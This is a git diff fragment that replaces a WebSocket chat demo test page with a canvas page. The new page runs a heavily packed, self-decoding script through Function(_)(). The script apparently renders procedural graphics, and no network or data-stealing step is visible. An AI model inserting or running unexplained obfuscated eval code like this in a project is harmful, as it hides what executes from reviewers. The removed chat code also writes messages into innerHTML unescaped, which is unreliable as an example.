-            <!-- <div class="tab-pane fade" id="3">
-
-            </div> -->
+            <div class="tab-pane fade" id="single">
+            </div>
         </div>
     </div>
 

+ 6 - 92
test/index.html

@@ -1,95 +1,9 @@
-<!DOCTYPE html>
-<html>
-
-<head>
-    <title>websocket demo</title>
-    <meta name="viewport" content="width=device-width, initial-scale=1" />
-    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
-    <style>
-        .row {
-            margin: 1rem
-        }
-    </style>
-</head>
-
 <body>
-    <div class='row'>发送方:
-        <select id='sender'>
-            <option value="Bob" selected>Bob</option>
-            <option value="Alice">Alice</option>
-            <option value="Jack">Jack</option>
-        </select>
-    </div>
-    <div class='row'>接收方:
-        <select id='receiver'>
-            <option value="Bob">Bob</option>
-            <option value="Alice" selected>Alice</option>
-            <option value="Jack">Jack</option>
-        </select>
-    </div>
-    <textarea id='msg' class='row' rows="10" cols="30"></textarea>
-    <div class='row'>
-        <button id='sendBtn'>发送</button>
-    </div>
-    <h3 class='row'>收到的消息:</h3>
-    <div id='conversation' class='row'></div>
+    <canvas style="display: block; margin: auto; width: 512px; height: 512px;" width="512" height="512"></canvas>
     <script>
-        var sender = document.getElementById('sender');
-        var receiver = document.getElementById('receiver');
-        var conversation = document.getElementById('conversation');
-        var sendBtn = document.getElementById('sendBtn');
-        var socket = null;
-        var createSocket = function () {
-            if (socket) {
-                socket.close();
-            }
-            var url = 'ws://' + window.location.host + '/ws/' + sender.options[sender.selectedIndex].value;
-            socket = new WebSocket(url);
-            socket.onopen = function () {
-                console.log('connected to ' + url);
-            }
-            socket.onmessage = function (event) {
-                var data = JSON.parse(event.data);
-                conversation.innerHTML = conversation.innerHTML + data.from + ':' + data.content + '<br/>';
-            }
-            socket.onclose = function () {
-                console.log('close connect to' + url);
-            }
-        };
-        var sendMessage = function () {
-            var msg = document.getElementById('msg').value;
-            var bd=JSON.stringify({
-                from: sender.options[sender.selectedIndex].value,
-                content: msg,
-                to: receiver.options[receiver.selectedIndex].value
-            })
-            console.log(bd)
-            fetch('/rest/message', {
-                method: 'POST',
-                headers: {
-                    'Content-type': 'application/json',
-                },
-                body: bd
-            }).then(res => {
-                return res.json();
-            }).then(data => {
-                if (!data.succeed) {
-                    alert(data.msg);
-                }
-            })
-        };
-
-        sender.onchange = function () {
-            createSocket();
-        }
-
-        sendBtn.onclick = function () {
-            sendMessage();
-        }
-
-        createSocket();
-
+        var c = document.getElementsByTagName("canvas")[0].getContext("2d")
     </script>
-</body>
-
-</html>
+    <script>
+        for (_ = '&&Zz,Y*bXy,Wy=Vx,U81Sa.RX.QRyQPRxQO,-1N+b.HMath.GGrandom()FF*27,E512C/C*12Bj,A),@d(Ab@$0,#3,#2@"--;){!w,Gsqrt(Rz.5)=>D(q,>0Z8@Gpow();));L(##8,for(+S)*27%S,ImageData.data[a++]=m(I(M(	K(	Aq,-2*j(a,h,p,q,g(F-)/3@1],[,w=MAyp=E-S+ES@wq==b=aL=(UVUz=x({UWz}MRxHURyHWHzKRxX,RyX,XDOx+Py+Qz;dPz-QWQx-OYOy-PxmK1/D(a)IMbNz=-7N#8n=Y4)u=m(d(1@nv=d(u,nt=A{T=S;V-/j.z;y(h=21[e,f,J]of[[1#2,2@4,0-"5,7"41,#4@8,6-1,1#4@#4,4@4],[7@5,4@1]]){b=2*D(AIeV(-b-bX-4*D(Ie+4*J*J/2,yT>yZ(T=Wh=1,g=fe)}return{}};oa+b?a%3&b%3&1?0):o(a/3|#b/3|0):5s=Ar,p({}=tjZh?h&1?		p,j)64g,p)*.7s(.4:	o((w.x,(w.y@(b=@s(	b,	d($b@@$@t(p).h?:1):rZF>.9?8):5,6,1-j.Y4i=0;=c.create(C,1(r{a=0;b=C;b!V0k=32;k!x=	Y	u,@v,)V	Ws(U			YnN0	u,v@-6	u,bB@v,iB)x1}k in y)y[k];255}c.put(,#ii++<CZsetTimeout(r)})()'; G = /[^ %-?DI-MT[-}]/.exec(_);)with (_.split(G)) _ = join(shift()); Function(_)()
+    </script>
+</body>

Some files were not shown because too many files changed in this diff